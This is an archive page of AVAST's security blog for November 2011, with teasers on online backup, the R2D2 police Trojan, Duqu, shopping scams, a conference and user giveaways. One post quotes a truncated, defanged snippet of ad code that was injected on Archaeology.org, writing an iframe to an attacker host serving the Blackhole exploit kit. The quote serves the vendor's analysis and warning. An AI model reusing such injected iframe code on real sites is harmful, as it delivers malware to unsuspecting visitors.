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Archive for November, 2011
November 30th, 2011

avast! BackUp saves files from disaster

When a fire blazes, a thief strikes or a cup of coffee spills, having a backup copy of your computer files is a major relief. Hardware can be replaced, but retrieving precious photos, your extensive music collection and the past few years’ tax returns – well, not so simple – until now.

Avast! BackUp is an online backup and recovery service that allows you to select sets of data or individual files you want to back up. For example, if you only want to back up your music, you could choose files with .mp3 extensions, or, like me, if you want a backup of Outlook to preserve work contacts, you can choose Outlook email and contacts. For a second level of protection you can also back up to a local external drive.
Read more…

November 28th, 2011

R2D2 – Forget the jargon, it’s a wiretap

A short time ago in a galaxy very close by, the German Police and their R2D2 Trojan gave us a simple reminder of what modern malware is all about. It’s wiretapping.

Technical buzzwords usually leave me more puzzled than enlightened. How many of these terms can you identify: backdoor Trojan with mfc42ul.dll, winsys32.sys key logger, Speex codec, full registry access, CJPEG, or acrd~tmp~.exe for a hidden executed application.

Did I lose you? Just think wiretapping in the digital age.

Recently, the German Police had their R2D2 outed by the Chaos Computer Club. It seems that after the Police loaded their R2D2 Trojan onto a suspect’s computer, the defenders of law and order could do the following: Read more…

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November 25th, 2011

Where’s Thomas? AVAST Software is looking for its 180 millionth registered user

In early November, somewhere on planet earth, “Thomas” downloaded a copy of avast! Antivirus, completed his online registration, and has since been protected from an array of malware and infected websites.

That is just the start. Thomas – the name he registered under – is also the 180 millionth registered user of avast! Antivirus and has won an expenses-paid trip to Prague, capital of the Czech Republic.

We have sent Thomas several emails to let him know that he’s a winner. So far, there has been no response. “We really do want to find him and give him this prize,” says Vince Steckler, CEO of AVAST Software. “Not only are we the only security software with over 180 million registered users, we are also the only one rewarding our users. I enjoyed meeting Fabricia from Brazil and I would like to meet Thomas.” Read more…

November 23rd, 2011

Survival Tips for Black Friday and Cyber Monday

Black Friday, the day after Thanksgiving and the busiest shopping day of the year, starts at midnight November 25th with mega-sales running throughout the weekend. Cyber Monday, the online retail equivalent to Black Friday, is the time when many consumers, who didn’t want to fight the crowds over Thanksgiving weekend or failed to find what they were looking for, shop online that Monday from home or work.

“For our US friends especially, this weekend is when retailers, offline and online, offer the best deals of the year,” said Jindrich Kubec, senior virus analyst at the AVAST Virus Lab. “It’s also when cybercriminals become hyperactive with scams and fraudulent offers.”

Read more…

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November 21st, 2011

Discover lost fortresses and modern malware

History fans  can do more than just learn about a vanished empire in the Sahara. When they visit Archaeology.org, the online publication of the Archaeological Institute of America, they can also pick up malware via an infected advertisement on the page.

“It’s a blackhole attack through advertisements, OpenX in this case,” confirmed Jiri Sejtko, senior virus analyst at the AVAST Virus Lab. “Here it is: OA_output['16'] += “<”+…. document.write(\’<”+”iframe src=\”hxxp://hdfh11.coom.in/main.php?page=423b262d0a1a9f70\”

OpenX is an open-source platform for exchanging advertisements. The blackhole toolkit is, in a nutshell, a system for delivering a wide range of malware. “It could be almost anything, for example a worm or fake antivirus,” added Jiri.

This latest bit of malware was uncovered by computer users researching the hotlinks on a recent National Geographic article http://news.nationalgeographic.com/news/2011/11/111111-sahara-libya-lost-civilization-science-satellites/ and the Discover magazine article Satellite Photos Show Ancient Saharan Fortresses of a Lost Empire. Read more…

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November 18th, 2011

Are you Cheap or Frugal? Take our quiz to find out.

I love getting a good deal. Buy one-get one free. Double store coupons. Generics as good as or better than the brand name. But some people equate an expensive price tag with a better product – you know, the “You get what you pay for” crowd.

Expensive is not necessarily an indication of quality, and a more expensive item may not be the best buy. AVAST has illustrated that with our award-winning avast! Free Antivirus. The free avast! product has proven it’s better quality again and again against  paid-for antivirus products like the ones that come pre-installed on your computer. (Check out our interactive comparison to see for yourself)

Does clipping coupons or using avast! Free Antivirus make me cheap or does it make me frugal? (jump to our quiz at the bottom to find out if you’re cheap or frugal) Read more…

November 17th, 2011

Facebook vs. Sharks

Yes, most of us complain about all the seemingly unnecessary changes that Facebook initiates far more often than we’d like (just about the time we figure out how to navigate everything)… but it’s good to remember that Facebook is a free service. Of course some will argue that nothing is really ‘free’, but at least +140 million active avast! Community members know differently. ;)

 

Value proposition

Some of you will remember the days of Rolodex. Mine was typically overfilled with business cards and scraps of paper – taped, glued, or even stapled in place. Sometimes a few ‘creative’ oversized business cards or paper scraps would clog up the ‘machine’, and maintaining changes to phone numbers, addresses, and job titles was always a major problem.

So Facebook, for me, was a welcome change. All my contacts keep their own info updated, and I can find them at any time via the search box. And my Facebook account serves 4 key purposes:

Read more…

November 11th, 2011

AVAR 2011 [Day 3] –Sandbox is everywhere

The Avar 2011 conference started and unfortunately ended very fast. There were 2 tracks of sessions for 2 days. One of the sessions was our own: “Poisoning Google Images. Analysis of Google Image Poisoning”.

 

 

Our presentation went very well and we finished on time. All the presentations had a tight schedule – only 35 minutes. However, it’s good that you have to focus on one problem. Read more…

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November 11th, 2011

Hot on the trail of Duqu with Microsoft’s MAPP

The Duqu malware has raised the specter of Stuxnet II, with some in the security community claiming that this new Trojan is a reverse-engineered copy of Stuxnet – the infamous malware that may have sold more newspapers than it damaged nuclear centrifuges. Unlike Stuxnet, Duqu is designed to steal data from the targeted organization, not just destroy equipment. First noticed this summer, Duqu self-destructed after 30 days, than vanished again into cyberspace.
Read more…

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November 10th, 2011

5 questions with Fabricia, our 160,000,000th avast! user registration

Fabricia, our famous 160 millionth avast! user registration from Brazil, is coming to Prague with her husband! :) We at AVAST Software are all excited about their visit and looking forward to hosting them here – especially since it turns out that we are inadvertently sponsoring their honeymoon. :)

I decided to ask them a few questions before the trip, just to see what their expectations were.

1. Have you ever won any valuable prize before?

Fabricia: No, neither Eder (new husband) nor I have ever been awarded with any prize whatsoever.

2. How does it feel to be the 160,000,000th avast user registration? :)

Receiving the email notification that we won a trip to Prague was initially a huge surprise.  At the beginning, I thought it was a scam message. However, after confirming that it wasn’t spam, we were very happy… even euphoric. Especially since, as I just mentioned, it was the first time I actually won something and that the value of this award is outstanding. On top of that, we were planning to get married, so we agreed that this trip would be slightly postponed so it could be our honeymoon. We are sooooooo happy and looking forward to it.

3. What do you expect from the trip?

Our expectations are the best possible, and we are anxious to meet AVAST people. We’ve also heard that Prague is incredibly beautiful and we will have an opportunity to visit many interesting places. Read more…

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